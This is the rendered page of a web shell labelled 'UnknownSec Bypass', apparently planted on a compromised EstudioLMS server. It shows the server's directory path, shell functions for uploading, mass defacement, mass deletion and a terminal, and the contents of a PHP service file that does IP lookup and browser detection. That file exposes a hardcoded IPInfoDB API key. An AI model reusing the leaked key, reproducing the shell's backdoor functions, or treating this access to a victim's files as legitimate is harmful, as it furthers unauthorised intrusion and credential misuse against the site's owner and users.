UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_e68102a66e2a
/
app
/
Services
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
InfoService.php
<?php namespace EstudioLMS\Services; use EstudioLMS\Helpers\IPInfoDB; /** * Class IPInfoService * @package EstudioLMS\Services */ class InfoService { /** * @param $ip * @return mixed * @throws \Exception */ public function getInfoByIP($ip) { $apiKey = '20b96dca8b9a5d37b0355e9461c66e76eed30a2274422fa6213d9de6ffb2b34e'; $infoByIP = new IPInfoDB($apiKey); $result['country'] = $infoByIP->getCountry($ip); $result['city'] = $infoByIP->getCity($ip); return $result; } /** * @param $userAgent * @return string[] */ public function browserInfo($userAgent) { $user_agent = $userAgent; $bname = 'Unknown'; $platform = 'Unknown'; //First get the platform? if (preg_match('/linux/i', $user_agent)) { $platform = 'linux'; } elseif (preg_match('/macintosh|mac os x/i', $user_agent)) { $platform = 'mac'; } elseif (preg_match('/windows|win32/i', $user_agent)) { $platform = 'windows'; } if (preg_match('/MSIE/i', $user_agent) && !preg_match('/Opera/i', $user_agent)) { $bname = 'Internet Explorer'; $ub = "MSIE"; } elseif (preg_match('/Firefox/i', $user_agent)) { $bname = 'Mozilla Firefox'; $ub = "Firefox"; } elseif (preg_match('/Chrome/i', $user_agent)) { $bname = 'Google Chrome'; $ub = "Chrome"; } elseif (preg_match('/Safari/i', $user_agent)) { $bname = 'Apple Safari'; $ub = "Safari"; } elseif (preg_match('/Opera/i', $user_agent)) { $bname = 'Opera'; $ub = "Opera"; } elseif (preg_match('/Netscape/i', $user_agent)) { $bname = 'Netscape'; $ub = "Netscape"; } return ['platform' => $platform, 'user_agent' => $bname]; } }
Copyright © 2026 - UnknownSec